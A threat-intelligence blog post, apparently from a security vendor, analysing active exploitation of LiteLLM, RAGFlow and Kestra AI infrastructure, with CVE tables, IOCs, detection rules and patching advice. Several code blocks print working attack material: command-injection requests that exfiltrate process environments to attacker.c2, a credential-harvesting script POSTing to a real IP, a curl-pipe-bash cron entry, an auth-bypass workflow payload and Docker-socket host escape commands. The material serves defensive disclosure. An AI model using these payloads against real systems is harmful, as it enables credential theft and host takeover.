AI Gateway Exploitation: LiteLLM, RAGFlow, Kestra Hit

3 actively exploited AI orchestration platforms: LiteLLM, RAGFlow, and Kestra

CVSS 10.0 maximum severity for the LiteLLM chain (CVE-2026-42271 + CVE-2026-48710) and Kestra (CVE-2026-49869)

KEV CISA Known Exploited Vulnerabilities catalog confirmed active LiteLLM exploitation, June 8, 2026

Tier-0 recommended classification for AI gateways: they aggregate every model provider secret in one process

Diagram of AI control plane as attack surface with layers and active exploits. — Illustration of AI control plane attack surface highlighting layers and active exploits.

AI gateway exploitation is no longer a theoretical risk category. Brandefense’s analysis of active campaigns (INT-2608-e7a5) confirms that threat actors have shifted focus from application-layer targets toward the AI infrastructure layer: the gateways, orchestration platforms, and retrieval engines that sit between organizational applications and model providers. Three platforms are at the center of this shift: LiteLLM, RAGFlow, and Kestra.

The strategic logic of this shift is straightforward. An AI gateway concentrates every model provider API key, every database connection string, and every configured secret for an organization’s entire LLM infrastructure in a single process. A direct breach of that gateway is not a single application compromise; it is simultaneous access to every downstream system that has ever been configured through it. From an attacker’s perspective, the gateway is the most efficient target in the AI stack.

The three campaigns Brandefense documented differ in their technical approach and post-access objectives, but share a common pattern: public-facing AI infrastructure components, deployed without network-level access controls or treated as lower-security tooling, becoming entry points for credential theft, lateral movement, and resource hijacking.

Why AI Gateway Exploitation Represents a New Threat Category

Traditional attack surface thinking categorizes risk around the criticality of direct system access: what can an attacker do if they reach this system? AI gateways require a different framework because their value to an attacker is not what they can execute but what they know.

A production LiteLLM proxy, for example, is configured with API keys for every model provider the organization uses, database connection strings for its configuration and virtual key storage, and potentially keys for every integrated service in the application stack. All of this is accessible from the process environment at runtime. An attacker who achieves code execution on the gateway process inherits all of it immediately, without any lateral movement or privilege escalation.

AI Infrastructure Component	What It Holds	Breach Consequence
AI Gateway (LiteLLM)	Model provider API keys (OpenAI, Anthropic, Azure, Google, Bedrock, Cohere, Mistral), virtual key configurations, rate limit policies, database connection strings, budget configurations	Single gateway compromise exposes every provider credential and enables impersonation of any configured virtual key across all downstream applications
RAG Engine (RAGFlow)	Document embeddings, database connection strings, LLM provider credentials injected at startup, embedding model configurations, retrieval index access	Credential theft at the embedding layer grants direct access to the organization’s AI provider accounts; document corpus exposure enables data exfiltration
Workflow Orchestration (Kestra)	Environment variable secrets, Docker socket access, database credentials, API tokens for integrated services, AI provider configurations used in workflow steps	Root-level container compromise with Docker socket access provides lateral movement to all containers on the host; complete secret enumeration

The Single Point of Failure Problem

Security architecture principles emphasize eliminating single points of failure. An AI gateway, by design, aggregates credentials that were previously distributed across individual application configurations. This is operationally convenient: developers configure their API keys once in the gateway and all applications use virtual keys with managed rate limits and budgets. But it is also a security consolidation that creates exactly the high-value concentrated target that sophisticated attackers prioritize. Brandefense’s INT-2608-e7a5 assessment recommends organizations treat AI gateways as Tier-0 infrastructure, subject to the same security controls applied to identity providers and certificate authorities. The typical current state, where AI gateways are deployed as development tooling with internet-facing exposure and default configurations, represents a significant and growing organizational risk.

LiteLLM: CVE-2026-42271 Chained With CVE-2026-48710 (CVSS 10.0)

LiteLLM is an open-source AI gateway and Python SDK that provides a unified OpenAI-compatible API across more than 100 model providers. It is deployed at thousands of enterprises as the single outbound chokepoint for all LLM traffic, making it the highest-value target in the AI infrastructure layer.

Field	Value
CVE-2026-42271	CVSS 8.7, command injection in LiteLLM MCP server test endpoints
CVE-2026-48710	CVSS 6.5, Starlette ‘BadHost’ Host header validation bypass
Chained severity	CVSS 10.0 Critical, unauthenticated RCE
Affected versions	LiteLLM 1.74.2 through 1.83.6; Starlette 1.0.0 and earlier
Fixed version	LiteLLM 1.83.7 (May 8, 2026)
CISA KEV	Added June 8, 2026; confirmed active exploitation
Vulnerability class	Command injection via MCP stdio subprocess configuration

Root Cause: Subprocess Injection via MCP Test Endpoints

The vulnerability resides in two Model Context Protocol test endpoints introduced in LiteLLM version 1.74.2 (March 2026) alongside MCP integration support. These endpoints were designed to allow administrators to verify MCP server configurations before deployment.

CVE-2026-42271: command injection via MCP stdio endpoint (Disclaimer: for research purposes only)

// Vulnerable endpoints in LiteLLM 1.74.2 through 1.83.6:
POST /mcp-rest/test/connection
POST /mcp-rest/test/tools/list
 
// Both endpoints accept a full MCP server configuration in the request body:
// {
//   'transport': 'stdio',
//   'command': '<any command>',
//   'args': ['<any args>'],
//   'env': {'KEY': 'VALUE', ...}
// }
 
// LiteLLM spawns the 'command' field as a subprocess on the proxy host,
// inheriting the privileges of the running LiteLLM process.
 
// Example exploitation payload (CVE-2026-42271 alone, requires API key):
POST /mcp-rest/test/connection
Authorization: Bearer <valid-proxy-api-key>
Content-Type: application/json
 
{
  'transport': 'stdio',
  'command': '/bin/bash',
  'args': ['-c', 'cat /proc/1/environ | tr "\0" "\n" > /tmp/creds.txt && curl -d @/tmp/creds.txt http://attacker.c2/exfil'],
  'env': {}
}
 
// Result: all environment variables from the LiteLLM process (including provider API keys)
// are exfiltrated to the attacker's C2. No privilege escalation required.
// LiteLLM process environment contains: OPENAI_API_KEY, ANTHROPIC_API_KEY,
// DATABASE_URL, LITELLM_MASTER_KEY, and all other configured provider secrets.

The Authentication Bypass: CVE-2026-48710 Converts to Unauthenticated RCE

CVE-2026-42271 alone required a valid proxy API key, limiting its exploitability to insiders or compromised accounts. CVE-2026-48710, a Host header validation bypass in the Starlette ASGI framework, removes this requirement entirely.

Starlette versions 1.0.0 and earlier validate the HTTP Host header against a configured trusted hosts list. The vulnerability, known as ‘BadHost’, allows an attacker to bypass this validation by manipulating the Host header in a way that satisfies the middleware’s pattern matching without corresponding to a legitimately trusted host. When this bypass is applied to LiteLLM’s authentication middleware, the API key verification step is skipped.

Chained exploit: unauthenticated RCE in one HTTP request (Disclaimer: for research purposes only)

// CVE-2026-48710 + CVE-2026-42271 chained: unauthenticated RCE
// Starlette Host header bypass eliminates API key requirement
 
POST /mcp-rest/test/connection HTTP/1.1
Host: 127.0.0.1              <- manipulated Host header bypasses Starlette auth
Content-Type: application/json
// No Authorization header required
 
{
  'transport': 'stdio',
  'command': 'bash',
  'args': ['-c', 'id && cat /proc/1/environ | tr "\0" "\n"'],
  'env': {}
}
 
// Combined CVSS: 10.0. No authentication. No API key. No prior access.
// Any network-reachable LiteLLM instance running Starlette <= 1.0.0
// is fully compromised in a single HTTP request.
 
// Post-exploitation observed in active campaigns (INT-2608-e7a5):
// 1. cat /proc/1/environ -> harvest all provider API keys and database credentials
// 2. Deploy XMRig cryptominer (mining pool: auto.c3pool.org)
// 3. Add SSH authorized key for persistence
// 4. cron job: * * * * * curl -s http://45.150.109.151/x | bash
// 5. PostgreSQL dump of litellm_verificationtoken and config tables
//    (contains virtual key records and model configurations)

LiteLLM instance version prompt with demo button and branding. — Prompt asking if your LiteLLM instance is running version 1.83.7 or later, with a demo button and Brandefense logo.

RAGFlow: CVE-2026-24770 Zip Slip and Python Credential Hook Injection

RAGFlow is an open-source Retrieval-Augmented Generation engine that manages document ingestion, embedding, retrieval, and LLM query routing. The campaign targeting RAGFlow followed a two-stage approach: initial access via file parsing exploitation, followed by persistent credential harvesting via startup path injection.

Field	Value
CVE-2026-24770	CVSS 9.8, Zip Slip path traversal in MinerU parser component
Affected versions	RAGFlow 0.23.1 and earlier
Attack class	Unauthenticated file upload path traversal leading to arbitrary file write and RCE
Campaign objective	Credential theft (model provider API keys) rather than resource monetization
Distinguishing characteristic	Python startup hook injected to intercept credentials during LLM provider configuration, persisting across service restarts

Stage 1: Zip Slip Path Traversal (CVE-2026-24770)

RAGFlow’s MinerU parser processes uploaded ZIP archives without validating file path components for directory traversal sequences. An attacker submits a crafted archive containing filenames with path traversal sequences, causing files to be written outside the intended extraction directory.

CVE-2026-24770: Zip Slip exploitation (Disclaimer: for research purposes only; reconstucted from documented campaign behavior)

// CVE-2026-24770: Zip Slip path traversal in RAGFlow MinerU parser
// Vulnerable code behavior (conceptual): no path sanitization before extraction
 
import zipfile
def process_archive(zip_path, extract_dir):
    with zipfile.ZipFile(zip_path) as zf:
        for entry in zf.namelist():
            # VULNERABLE: uses entry name directly without path validation
            target_path = os.path.join(extract_dir, entry)
            # Path traversal: entry = '../../../../tmp/harvest.sh'
            # target_path resolves to /tmp/harvest.sh (outside extract_dir)
            with open(target_path, 'wb') as f:
                f.write(zf.read(entry))
 
// Exploitation: upload ZIP containing:
// - '../../../../tmp/harvest.sh'  : attacker shell script
// - '../../../../etc/cron.d/ragflow_persistence' : cron entry executing harvest.sh
 
// harvest.sh (reconstructed from INT-2608-e7a5 analysis):
#!/bin/bash
# Extract provider credentials from RAGFlow configuration
grep -r 'OPENAI_API_KEY\|ANTHROPIC_API_KEY\|api_key' /app/ 2>/dev/null > /tmp/d
curl -s -X POST -d @/tmp/d http://172.232.38.92/exfil/ragflow
rm -f /tmp/d

Stage 2: Startup Hook Injection for Persistent Credential Harvesting

The second stage of the RAGFlow campaign is more sophisticated and more persistent than the initial file write. Rather than extracting credentials once, attackers modified RAGFlow’s application startup path to inject a Python hook that intercepts new LLM provider credentials at the moment they are configured.

By overwriting an application module that executes during service initialization, the hook is re-executed every time the RAGFlow service restarts, capturing any provider credentials configured through the application’s normal interface. This creates a persistent intelligence collection mechanism that survives credential rotation: every time an administrator enters a new API key, it is captured and exfiltrated.

The campaign focus on credential theft rather than cryptomining is operationally significant. Cryptomining converts compute access into revenue directly. Credential theft converts model provider access into persistent, undetected presence in the victim’s AI infrastructure. OpenAI and Anthropic API keys obtained through this method provide ongoing access to models, quota, and any associated organizational context stored in the provider account.

Kestra: CVE-2026-49869 Authentication Bypass and Docker Socket Escalation (CVSS 10.0)

Kestra is an open-source event-driven workflow orchestration platform. Its exploitation is technically distinct from the LiteLLM and RAGFlow campaigns: rather than exploiting a parsing vulnerability or injection point, attackers leveraged a fundamental logic error in Kestra’s authentication filter implementation.

Field	Value
CVE-2026-49869	CVSS 10.0, authentication bypass via suffix matching error in AuthenticationFilter
Affected versions	All Kestra OSS versions prior to 1.0.45 and 1.3.21
Fixed version	1.0.45 and 1.3.21
Root cause	request.getPath().endsWith(‘/configs’) suffix match instead of exact path match
Exploitation result	Unauthenticated workflow creation and execution; RCE as root inside Kestra worker container
Escalation path	Official docker-compose.yml mounts /var/run/docker.sock; root in container = Docker daemon access = host compromise
Post-compromise	Container enumeration, environment variable secret harvesting, XMRig deployment via workflow execution, SSH key persistence

Root Cause: One Line, Maximum Severity

The vulnerability is a single-line logic error in Kestra’s AuthenticationFilter. The filter is designed to whitelist the public configuration endpoint (/api/v1/configs) from Basic Authentication requirements, allowing unauthenticated clients to retrieve the Kestra server configuration. The implementation uses a suffix match rather than an exact path match.

CVE-2026-49869: authentication bypass and unauthenticated RCE (Disclaimer: for research purposes only)

// CVE-2026-49869: AuthenticationFilter.java (vulnerable version)
// The public endpoint whitelist check:
 
// VULNERABLE (suffix match):
if (request.getPath().endsWith("/configs")) {
    return chain.filter(exchange);  // bypass authentication, pass through
}
 
// CORRECT (exact path match):
if (request.getPath().equals("/api/v1/configs")) {
    return chain.filter(exchange);  // bypass authentication, pass through
}
 
// The difference: endsWith() matches ANY path whose last segment is 'configs'
 
// Exploitation: Kestra uses caller-controlled path segments for namespace and flow IDs.
// An attacker can craft any API path ending in 'configs' to bypass authentication:
 
// CREATE FLOW (normally requires authentication):
PUT /api/v1/{namespace}/flows/malicious/configs
// Path ends in 'configs' -> authentication bypassed -> flow creation succeeds
 
// The flow payload contains a shell task:
// id: malicious_flow
// namespace: attacker
// tasks:
//   - id: shell_task
//     type: io.kestra.plugin.scripts.shell.Commands
//     commands:
//       - 'env > /tmp/d && curl -d @/tmp/d http://attacker.c2/kestra'
//       - 'cat /var/run/docker.sock && docker ps -a'
 
// TRIGGER EXECUTION (also bypasses authentication via same suffix):
POST /api/v1/{namespace}/flows/malicious/executions/configs
// Path ends in 'configs' -> authentication bypassed -> workflow executes as root

Docker Socket Escalation: From Container Root to Host Compromise

Kestra’s official docker-compose.yml, the deployment configuration most production users adopt, mounts the Docker daemon socket (/var/run/docker.sock) into the Kestra worker container. Since CVE-2026-49869 grants root access inside the worker container, and since a root user with access to the Docker socket can issue Docker API commands to the host daemon, the escalation path from container root to host-level access is direct.

Docker socket escalation from Kestra container to host (Disclaimer: documented for defensive research purposes only)

// Docker socket escalation from compromised Kestra container:
// (Executed as part of Kestra workflow task, running as root inside container)
 
// Step 1: Confirm Docker socket access
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker -> socket present and writable
 
// Step 2: Enumerate all containers on host (reveals other AI infrastructure)
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[].Names'
 
// Step 3: Inspect container environment variables (harvests secrets from all containers)
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/{container_id}/json | jq '.Config.Env'
# Returns all environment variables for each container:
# OPENAI_API_KEY=sk-... ANTHROPIC_API_KEY=sk-ant-... DATABASE_URL=postgresql://...
 
// Step 4: Achieve host-level RCE via privileged container spawn
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \
  -d '{"Image":"alpine","HostConfig":{"Binds":["/:/host"],"Privileged":true},"Cmd":["/bin/sh","-c","chroot /host"]}'
# Spawns privileged container with host filesystem mounted -> full host access
 
// Observed in INT-2608-e7a5 campaigns:
// - SSH key added to host /root/.ssh/authorized_keys via privileged container
// - XMRig deployed to host filesystem
// - All container environment variables exfiltrated

The Professionalization Signal: AI-Assisted Malware Development

Payload analysis across all three campaigns identified a pattern that Brandefense attributes to AI-assisted development in the malware tooling: robust cross-platform error handling, organized and commented imports, modular function structure designed for portability, and consistent variable naming conventions across all campaign artifacts.

Traditional malware is written by humans under time pressure, typically showing signs of haste: inconsistent style, minimal error handling, hardcoded values, and poor documentation. The payload files identified in the LiteLLM, RAGFlow, and Kestra campaigns show the opposite: clean style, comprehensive try/except blocks, and descriptive comments that suggest either a sophisticated team or AI-augmented development. This professionalization significantly increases the portability of these payloads across diverse Linux kernel versions and containerized environments.

The practical consequence for detection is that malware quality is decoupling from attacker skill level. Signature-based detection of ‘badly written’ malware becomes less reliable when AI tooling can produce professional-quality code on demand. Behavioral detection, focused on what the malware does rather than how it is written, is the appropriate response.

Indicators of Compromise (INT-2608-e7a5)

Network IOCs (defanged)

# IPv4 Addresses
45[.]150[.]109[.]151     # Primary C2 / cron payload host
135[.]125[.]10[.]56      # Secondary C2
172[.]232[.]38[.]92      # Exfiltration endpoint (RAGFlow campaign)
47[.]86[.]197[.]116      # Mining pool relay
194[.]213[.]18[.]133     # Additional campaign infrastructure

Domain IOCs (defanged)

# Domains
yosemite[.]jp            # Campaign infrastructure
gobygo[.]net             # C2 communication
oast[.]me                # Out-of-band DNS interaction testing (OAST infrastructure)
oast[.]pro               # OAST
oast[.]fun               # OAST
auto[.]c3pool[.]org      # XMRig mining pool (Monero)
45[.]150[.]109[.]151[.]sslip[.]io  # C2 via sslip.io DNS

File IOCs

# File Hashes (SHA-256)
f64b88e9318bdf23f2dd119a0ce1dd1bdb3c8cd2e0e1e23ba3ef2e19072b79cc  # Primary payload
49fdcf32bfe837899a84e8938f0d07ae96ddd218a280a09eb60df8d64597bd8f  # Secondary payload
3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42  # XMRig variant
3d24ac736635e0fa0c5c459c9e18ca09d1ec9a1751a4503130934395609bd7e0  # Persistence script
 
# Known malicious filenames
/tmp/d          # Credential exfiltration staging file
/tmp/python3    # Masqueraded Python binary (cryptominer launcher)
harvest.sh      # Credential harvesting script (RAGFlow campaign)

Immediate Actions and Detection

This AI gateway exploitation campaign requires immediate action across all three affected platforms.

Patch Status

Platform	Vulnerability	Fixed Version	Action
LiteLLM	CVE-2026-42271 + CVE-2026-48710 (CVSS 10.0)	1.83.7 (May 8, 2026)	Update immediately; CISA KEV deadline applies to federal agencies
RAGFlow	CVE-2026-24770 (CVSS 9.8)	Beyond 0.23.1 (commit 64c75d5)	Update to patched version; review for unauthorized file modifications in /tmp and /etc/cron.d
Kestra	CVE-2026-49869 (CVSS 10.0)	1.0.45 or 1.3.21	Update immediately; audit for unauthorized workflow definitions and executions

Architectural Controls

Classify all AI gateways and orchestration platforms as Tier-0 infrastructure. Apply the same network segmentation, access controls, and monitoring standards used for identity providers and certificate authorities.
Implement strict deny-by-default egress filtering on all AI infrastructure components. Allow outbound connections only to validated model provider endpoints (api.openai.com, api.anthropic.com, specific AWS Bedrock regional endpoints, etc.). Block all other outbound traffic.
Remove Docker socket mounts from AI orchestration containers unless explicitly required. If required, implement socket proxy controls (such as a docker-socket-proxy) that limit which Docker API endpoints are accessible from within the container.
Use a managed secret store (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) for all model provider API keys. Do not inject API keys as environment variables into AI gateway processes; environment variables are accessible via /proc/1/environ to any process running on the same PID namespace.
Disable or remove MCP test endpoints (/mcp-rest/test/connection and /mcp-rest/test/tools/list) from internet-facing LiteLLM deployments if MCP functionality is not required. These endpoints serve no production purpose and represent the LiteLLM attack surface.

Detection

Detection rules: AI gateway exploitation campaigns

# Host-based detection signatures
 
# LiteLLM: suspicious subprocess execution from gunicorn/uvicorn process
ALERT: parent process in (gunicorn, uvicorn, python3) spawning (bash, sh, curl, wget)
ALERT: /proc/1/environ read access from non-root processes in LiteLLM container
ALERT: new file creation in /root/.ssh/authorized_keys
ALERT: new crontab entries (cron.d, /etc/cron*, user crontab) from LiteLLM process context
 
# RAGFlow: Zip Slip indicators
ALERT: file write operations outside /app/ragflow/upload/ directory from RAGFlow process
ALERT: new executable files in /tmp with x bit set, created by RAGFlow parser process
ALERT: new cron.d entries with creation timestamp matching document upload event
 
# Kestra: authentication bypass indicators
ALERT: workflow creation events (PUT /flows) without a preceding successful authentication event
ALERT: workflow execution events from unauthenticated sessions (HTTP 200 without Authorization header)
ALERT: docker.sock API calls from within Kestra worker container
ALERT: container inspect/list calls from process context other than the Docker daemon
 
# Network: C2 communication
ALERT/BLOCK: DNS or HTTP connections to auto.c3pool.org (XMRig mining pool)
ALERT/BLOCK: outbound connections from AI infrastructure hosts to oast.me, oast.pro, oast.fun
ALERT/BLOCK: HTTP POST requests from AI infrastructure to 45.150.109.151, 172.232.38.92
 
# Disclaimer: Validate all rules in a non-production environment.
# Tune process parent/child relationships to your specific deployment configuration.

How Brandefense Detected and Tracks This Campaign

The intelligence underlying this analysis (INT-2608-e7a5) was produced by Brandefense through monitoring of underground forums, analysis of attack infrastructure, and correlation with technical vulnerability research. This intelligence was delivered to Brandefense platform subscribers as operational intelligence before it appeared in public threat reporting.

Brandefense Capability	Coverage for AI Infrastructure Threats
External Attack Surface Management (EASM)	Continuously discovers internet-facing AI gateway and orchestration instances across customer domains; maps discovered instances to current CVE exposure; alerts on newly internet-exposed AI infrastructure components
Vulnerability intelligence	Tracks CVEs affecting AI infrastructure components (LiteLLM, RAGFlow, Kestra, LangChain, MLflow, Dify, n8n, and others) from disclosure through KEV listing; delivers exploitability context, not just CVSS scores
Campaign infrastructure monitoring	Identifies and tracks attack infrastructure (C2 domains, IPs, payload hosts) associated with AI-targeting campaigns; delivers IOCs with campaign context before mass exploitation begins
Dark web and underground monitoring	Monitors for organizational API keys, model provider credentials, and AI infrastructure access appearing in dark web markets and threat actor channels following a gateway compromise
Threat Intelligence	INT-2608-e7a5 and similar operational intelligence reports are delivered to subscribers through the Brandefense platform with structured IOCs, MITRE ATT&CK mapping, and actionable recommendations

RELATED READING

From Shadow IT to Shadow AI: Clawdbot (Moltbot/Openclaw) and the Rise of Unmanaged Agent Gateways: https://brandefense.io/blog/unmanaged-shadow-ai-agent/ : the same exposure pattern one layer up, where the unmanaged agent rather than the gateway is the internet facing asset.

API Sprawl: The Attack Surface Nobody Put On the Inventory: https://brandefense.io/blog/api-sprawl-shadow-zombie-api-attack-surface/ : why an AI gateway is just another undocumented endpoint, and why inventory accuracy is the control that fails first.

From Disclosure to Exploit: How Fast Are Threat Actors Weaponizing New CVEs?: https://brandefense.io/blog/disclosure-to-exploit-speed/ : the timing data behind this article, including the ten hour disclosure to exploit window on internet facing infrastructure.

The 62% Problem: Why Most Enterprises Only See Two-Thirds of Their Real Attack Surface: https://brandefense.io/blog/the-62-percent-problem-external-attack-surface/ : the visibility gap that keeps AI gateways outside the asset inventory in the first place.